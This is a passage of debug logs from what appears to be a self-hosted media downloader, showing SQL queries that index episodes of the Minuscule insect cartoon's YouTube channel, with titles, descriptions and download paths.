[yNBi0yEhu-s].mp4", false, false, false, [], 1, ~U[2020-02-18 15:30:03Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse. #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la conserve/Out of a Tin Can (Season 1)", "yNBi0yEhu-s", 332, false, 4, "https://www.youtube.com/watch?v=yNBi0yEhu-s", "/downloads/Miniscule Season 1/2020-02-18 Minuscule - la conserve⧸Out of a Tin Can (Season 1)/Minuscule - la conserve⧸Out of a Tin Can (Season 1) [yNBi0yEhu-s].mp4", false, ~U[2020-02-18 15:30:03Z]] 00:54:34.270 [debug] QUERY OK source="sources" db=0.5ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.271 [debug] QUERY OK source="media_items" db=0.8ms idle=6.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-31 15:30:03Z], 4] 00:54:34.275 [debug] QUERY OK source="media_items" db=2.4ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la nouille/Noodle (Season 1)", "26ab4cba-15a6-43d6-8461-2ec341d6f43d", "nDQRfpnIS0M", 332, false, 4, "https://www.youtube.com/watch?v=nDQRfpnIS0M", 96, "/downloads/Miniscule Season 1/2019-12-31 Minuscule - la nouille⧸Noodle (Season 1)/Minuscule - la nouille⧸Noodle (Season 1) [nDQRfpnIS0M].mp4", false, false, false, [], 1, ~U[2019-12-31 15:30:03Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - la nouille/Noodle (Season 1)", "nDQRfpnIS0M", 332, false, 4, "https://www.youtube.com/watch?v=nDQRfpnIS0M", "/downloads/Miniscule Season 1/2019-12-31 Minuscule - la nouille⧸Noodle (Season 1)/Minuscule - la nouille⧸Noodle (Season 1) [nDQRfpnIS0M].mp4", false, ~U[2019-12-31 15:30:03Z]] 00:54:34.276 [debug] QUERY OK source="sources" db=0.4ms idle=8.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.277 [debug] QUERY OK source="media_items" db=0.7ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-11 15:30:02Z], 4] 00:54:34.292 [debug] QUERY OK source="media_items" db=14.5ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - le chant des cigales/Cicada song (Season 1)", "f499b815-5cac-4700-991a-3d52db3c56ec", "fnQFjCFug1E", 346, false, 4, "https://www.youtube.com/watch?v=fnQFjCFug1E", 97, "/downloads/Miniscule Season 1/2020-02-11 Minuscule - le chant des cigales⧸Cicada song (Season 1)/Minuscule - le chant des cigales⧸Cicada song (Season 1) [fnQFjCFug1E].mp4", false, false, false, [], 1, ~U[2020-02-11 15:30:02Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - le chant des cigales/Cicada song (Season 1)", "fnQFjCFug1E", 346, false, 4, "https://www.youtube.com/watch?v=fnQFjCFug1E", "/downloads/Miniscule Season 1/2020-02-11 Minuscule - le chant des cigales⧸Cicada song (Season 1)/Minuscule - le chant des cigales⧸Cicada song (Season 1) [fnQFjCFug1E].mp4", false, ~U[2020-02-11 15:30:02Z]] 00:54:34.293 [debug] QUERY OK source="sources" db=0.4ms idle=21.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.294 [debug] QUERY OK source="media_items" db=0.8ms idle=18.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-04 15:30:04Z], 4] 00:54:35.430 [debug] QUERY OK source="media_items" db=1134.9ms idle=18.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - grosse mouche bleue/Horsefly (Season 1)", "36f5732e-7a92-4ce5-b527-8ed10d5cff93", "jMCwQZvg-1g", 339, false, 4, "https://www.youtube.com/watch?v=jMCwQZvg-1g", 98, "/downloads/Miniscule Season 1/2020-02-04 Minuscule - grosse mouche bleue⧸Horsefly (Season 1)/Minuscule - grosse mouche bleue⧸Horsefly (Season 1) [jMCwQZvg-1g].mp4", false, false, false, [], 1, ~U[2020-02-04 15:30:04Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - grosse mouche bleue/Horsefly (Season 1)", "jMCwQZvg-1g", 339, false, 4, "https://www.youtube.com/watch?v=jMCwQZvg-1g", "/downloads/Miniscule Season 1/2020-02-04 Minuscule - grosse mouche bleue⧸Horsefly (Season 1)/Minuscule - grosse mouche bleue⧸Horsefly (Season 1) [jMCwQZvg-1g].mp4", false, ~U[2020-02-04 15:30:04Z]] 00:54:35.431 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1138.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.433 [debug] QUERY OK source="media_items" db=1.0ms idle=1138.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-28 15:30:00Z], 4] 00:54:35.564 [debug] QUERY OK source="media_items" db=129.7ms idle=1139.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hyperactive (Season 1)", "5720eea4-39f5-4619-920f-bf291554e89a", "V5Pk_ZSwNNc", 338, false, 4, "https://www.youtube.com/watch?v=V5Pk_ZSwNNc", 99, "/downloads/Miniscule Season 1/2020-01-28 Minuscule - Hyperactive (Season 1)/Minuscule - Hyperactive (Season 1) [V5Pk_ZSwNNc].mp4", false, false, false, [], 1, ~U[2020-01-28 15:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hyperactive (Season 1)", "V5Pk_ZSwNNc", 338, false, 4, "https://www.youtube.com/watch?v=V5Pk_ZSwNNc", "/downloads/Miniscule Season 1/2020-01-28 Minuscule - Hyperactive (Season 1)/Minuscule - Hyperactive (Season 1) [V5Pk_ZSwNNc].mp4", false, ~U[2020-01-28 15:30:00Z]] 00:54:35.565 [debug] QUERY OK source="sources" db=0.4ms idle=684.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.566 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=135.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-21 15:30:00Z], 4] 00:54:35.568 [debug] QUERY OK source="media_items" db=1.4ms queue=0.1ms idle=134.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Coccinelles/Lady Bugs (Season 1)", "aac50038-445d-4919-894c-80f6aa79939a", "2-scQE56xuA", 336, false, 4, "https://www.youtube.com/watch?v=2-scQE56xuA", 104, "/downloads/Miniscule Season 1/2020-01-21 Minuscule - Coccinelles⧸Lady Bugs (Season 1)/Minuscule - Coccinelles⧸Lady Bugs (Season 1) [2-scQE56xuA].mp4", false, false, false, [], 1, ~U[2020-01-21 15:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Coccinelles/Lady Bugs (Season 1)", "2-scQE56xuA", 336, false, 4, "https://www.youtube.com/watch?v=2-scQE56xuA", "/downloads/Miniscule Season 1/2020-01-21 Minuscule - Coccinelles⧸Lady Bugs (Season 1)/Minuscule - Coccinelles⧸Lady Bugs (Season 1) [2-scQE56xuA].mp4", false, ~U[2020-01-21 15:30:00Z]] 00:54:35.569 [debug] QUERY OK source="sources" db=0.3ms idle=135.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.570 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-14 15:30:02Z], 4] 00:54:35.573 [debug] QUERY OK source="media_items" db=1.9ms idle=5.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - mouche folle/Mad Fly (Season 1)", "f7d5656b-3f12-4777-9e76-05c396300bf9", "nm5pyLTU7j8", 336, false, 4, "https://www.youtube.com/watch?v=nm5pyLTU7j8", 105, "/downloads/Miniscule Season 1/2020-01-14 Minuscule - mouche folle⧸Mad Fly (Season 1)/Minuscule - mouche folle⧸Mad Fly (Season 1) [nm5pyLTU7j8].mp4", false, false, false, [], 1, ~U[2020-01-14 15:30:02Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - mouche folle/Mad Fly (Season 1)", "nm5pyLTU7j8", 336, false, 4, "https://www.youtube.com/watch?v=nm5pyLTU7j8", "/downloads/Miniscule Season 1/2020-01-14 Minuscule - mouche folle⧸Mad Fly (Season 1)/Minuscule - mouche folle⧸Mad Fly (Season 1) [nm5pyLTU7j8].mp4", false, ~U[2020-01-14 15:30:02Z]] 00:54:35.573 [debug] QUERY OK source="sources" db=0.4ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.575 [debug] QUERY OK source="media_items" db=0.9ms idle=5.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-07 15:30:02Z], 4] 00:54:35.578 [debug] QUERY OK source="media_items" db=2.1ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - le convoi/The Convoy (Season 1)", "c3d43645-c23d-45fe-97de-d0147f57a33f", "xHjw46YDgpw", 340, false, 4, "https://www.youtube.com/watch?v=xHjw46YDgpw", 106, "/downloads/Miniscule Season 1/2020-01-07 Minuscule - le convoi⧸The Convoy (Season 1)/Minuscule - le convoi⧸The Convoy (Season 1) [xHjw46YDgpw].mp4", false, false, false, [], 1, ~U[2020-01-07 15:30:02Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n \nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook: http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - le convoi/The Convoy (Season 1)", "xHjw46YDgpw", 340, false, 4, "https://www.youtube.com/watch?v=xHjw46YDgpw", "/downloads/Miniscule Season 1/2020-01-07 Minuscule - le convoi⧸The Convoy (Season 1)/Minuscule - le convoi⧸The Convoy (Season 1) [xHjw46YDgpw].mp4", false, ~U[2020-01-07 